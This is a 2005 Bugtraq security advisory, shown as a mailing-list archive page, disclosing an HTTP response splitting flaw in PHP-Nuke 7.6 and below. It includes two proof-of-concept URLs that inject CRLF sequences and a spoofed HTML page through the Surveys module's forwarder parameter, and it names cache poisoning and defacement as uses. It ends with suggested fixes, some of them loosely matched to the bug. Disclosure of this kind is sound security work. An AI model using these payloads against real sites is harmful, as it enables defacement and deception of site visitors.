[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
From:       dcrab <dcrab () hackerscenter ! com>
Date:       2005-04-15 20:47:20
Message-ID: 20050416033018.9721.qmail () www ! securityfocus ! com
[Download RAW message or body]



Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at \
http://www.digitalparadox.org/services.ah

Severity: High
Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
Date: 15/04/2005

Vendor: Php-Nuke
Vendor Website: http://www.phpnuke.org
Summary: There are, http response splitting vulnerability in php-nuke 7.6 and below.

Proof of Concept Exploits: 

MORE DETAILS OF THIS SORT OF BUG CAN BE FOUND AT www.digitalparadox.org/papers.ah

A simple POC can be as follows,

http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO \
I AM VULNERABLE TO HTTP RESPONSE \
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5

A more serious version involving Cross user defacement, cache poisoning and page \
hijacking can be,

http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This \
is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to \
my PHP Nuke Website, This is a spoofed page that you are seeing and can be used for \
great evils details about which can be read in \
http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. \
</center> Feel free to contact me about this vulnerablitiy at dcrab {at} \
hackerscenter [dot] com<font \
color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), \
mysql_real_escape_string() and other functions for input validation before passing \
user input to the mysql database, or before echoing data on the screen, would solve \
these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: \
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me \
regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or \
http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding \
with php.


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic